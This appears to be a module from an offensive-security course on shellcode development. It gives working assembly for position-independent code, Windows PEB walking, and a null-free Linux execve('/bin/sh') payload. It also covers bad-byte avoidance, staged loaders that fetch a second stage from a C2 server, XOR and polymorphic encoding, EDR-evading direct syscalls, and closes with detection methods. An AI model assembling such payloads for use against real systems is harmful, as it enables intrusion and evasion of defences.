Shellcode Development
Red Team Tooling Internals · Advanced Exploitation track
6 min read
In this module
Writing Position-Independent Code
Shellcode is raw machine code that has to run wherever it happens to land. No imports, no relocations, no fixed addresses — the OS loader isn't involved at all. Understanding how shellcode is constructed is what lets you spot it: in memory dumps, on the wire, and embedded in exploit payloads.
Position Independence
The fundamental constraint of shellcode is that it cannot contain absolute addresses. It does not know where in memory it will be placed. Every reference must be relative.
On x86-64, RIP-relative addressing makes this natural - most instructions can reference data relative to the current instruction pointer. On 32-bit x86, shellcode uses the classic GetPC (get program counter) technique:
; 64-bit: RIP-relative addressing is built into the architecturelea rdi, [rel shell_string] ; Load address of "/bin/sh" relative to RIP
; 32-bit: GetPC techniquecall nextnext:pop ebx ; EBX now contains the address of 'next'; All data references are relative to EBXlea eax, [ebx + (shell_string - next)]Resolving API Functions at Runtime
On Windows, shellcode cannot call APIs directly because it does not know where DLLs are loaded. It must find the addresses at runtime by walking the Process Environment Block (PEB):
- Access the PEB through the Thread Environment Block (TEB) at
gs:[0x60](64-bit) - Walk the PEB's InMemoryOrderModuleList to find kernel32.dll
- Parse kernel32.dll's export table to find GetProcAddress and LoadLibraryA
- Use GetProcAddress to resolve any other needed functions
; Windows x64 shellcode: find kernel32.dll base addressmov rax, gs:[0x60] ; PEBmov rax, [rax + 0x18] ; PEB->Ldrmov rax, [rax + 0x20] ; InMemoryOrderModuleListmov rax, [rax] ; Second entry (ntdll.dll)mov rax, [rax] ; Third entry (kernel32.dll)mov rax, [rax + 0x20] ; DllBase of kernel32.dllOn Linux, shellcode typically makes system calls directly using the syscall instruction, avoiding the need to resolve library functions:
; Linux x64: execve("/bin/sh", NULL, NULL)xor rsi, rsi ; argv = NULLxor rdx, rdx ; envp = NULLlea rdi, [rel binsh] ; filename = "/bin/sh"mov al, 59 ; syscall number for execve (assumes rax is already 0)syscall
binsh: db "/bin/sh", 0That version is easy to read but has three problems as real shellcode. mov al, 59 only sets the low byte, so it works only if RAX happened to be zero already. The lea encodes its offset as a 32-bit displacement (48 8d 3d 04 00 00 00), which is mostly zero bytes. And the string's terminator is a zero byte too. If the payload travels through strcpy or similar, the copy stops at the first of them. A null-free version builds the string on the stack instead:
; Linux x64: execve("//bin/sh", NULL, NULL), no zero bytesxor eax, eax ; rax = 0push rax ; NUL terminator for the stringmov rbx, 0x68732f6e69622f2f ; "//bin/sh" (the extra / pads it to 8 bytes)push rbxmov rdi, rsp ; filename = pointer to the stringxor esi, esi ; argv = NULLxor edx, edx ; envp = NULLmov al, 59 ; execve, safe now that rax was zeroedsyscallWhich bytes count as "bad" depends on how the payload is delivered. Zero bytes break C string functions; a payload sent in an HTTP header can't contain \r or \n; one read by scanf("%s") can't contain whitespace. Work out the bad bytes for your delivery path first, then check the assembled payload against them.
On Windows, modern shellcode increasingly uses direct syscalls (executing the syscall instruction directly) instead of calling ntdll functions. This bypasses EDR hooks on ntdll, making the shellcode harder to detect. The shellcode includes a table of syscall numbers for the target Windows version, or resolves them dynamically by parsing ntdll's code.
Staged vs Stageless Shellcode
Stageless shellcode contains the complete payload in one block — self-contained, but potentially megabytes for a full C2 implant.
Staged shellcode is a compact first-stage loader (often under 500 bytes) that fetches and executes a larger second stage at runtime:
Stage 1 (small, fits in exploit buffer):1. Create a TCP connection to the C2 server2. Read the second stage into allocated memory3. Jump to the second stage
Stage 2 (large, downloaded from C2):1. Full C2 beacon with all capabilities2. Process migration, file operations, etc.Staging keeps the initial exploit buffer small, but the download is a detection opportunity. Stageless payloads skip the network fetch but must fit the exploitation context — that trade-off drives a lot of payload engineering decisions.
Encoding and Encryption
Raw shellcode contains null bytes and other characters that may be terminated by string-handling functions. Encoding and encryption address this:
XOR encoding: Each byte is XORed with a key. A small decoder stub at the beginning reverses the encoding before execution. The decoder itself must be null-free.
The encoder below is loaded with a 12-byte x86-64 exit(0) payload (mov rax, 60; xor edi, edi; syscall). The 32-bit immediate in mov rax, 60 brings three null bytes with it, which the Analyze tab flags. XOR-encode it with the default key 0x41 and the nulls vanish. Then try a key equal to one of the payload's own bytes, such as 0x48, and watch a new null appear: that's why encoders search for a key that doesn't occur anywhere in the payload.
Shellcode Analyzer & Encoder
Byte Analysis (12 bytes, 3 null bytes):
Found 3 null byte(s) — shellcode will be truncated by strcpy/string functions
12
Total bytes
3
Null bytes
9
Unique bytes
Custom encoders: More complex schemes like Shikata Ga Nai (from Metasploit) use polymorphic encoding that changes the decoder stub on each generation, which once defeated static signatures. Shikata Ga Nai is now so widely studied that antivirus and EDR products detect its decoder loop and its distinctive use of FPU instructions to find its own address, so on its own it buys little evasion today.
AES encryption: The shellcode is AES-encrypted and a small decryptor stub (using hardcoded AES implementation or resolved API calls) decrypts it at runtime.
Detecting Shellcode
Defenders detect shellcode through multiple methods:
- Signature-based: Known shellcode patterns (PEB walking sequences, GetPC code, specific syscall sequences)
- Heuristic-based: Characteristics like small executable code blocks with no imports, NOP sleds, or decoder stub patterns
- Behavioural: Code that walks the PEB, resolves API addresses, or performs direct syscalls from unusual locations
- Memory scanning: Executable pages that are not backed by files on disk (indicating injected code)
- Network detection: Shellcode patterns in network payloads (NOP sleds, decoder stubs, known encoder signatures)
Encrypted shellcode looks like random data until it is decrypted. The only detectable component is the decoder stub, which can be made polymorphic (different every time). This is why behavioural detection (monitoring what code does) is more reliable than content detection (scanning what code looks like). A decoder stub that writes to executable memory and then transfers control to it is suspicious regardless of what the decoded payload contains.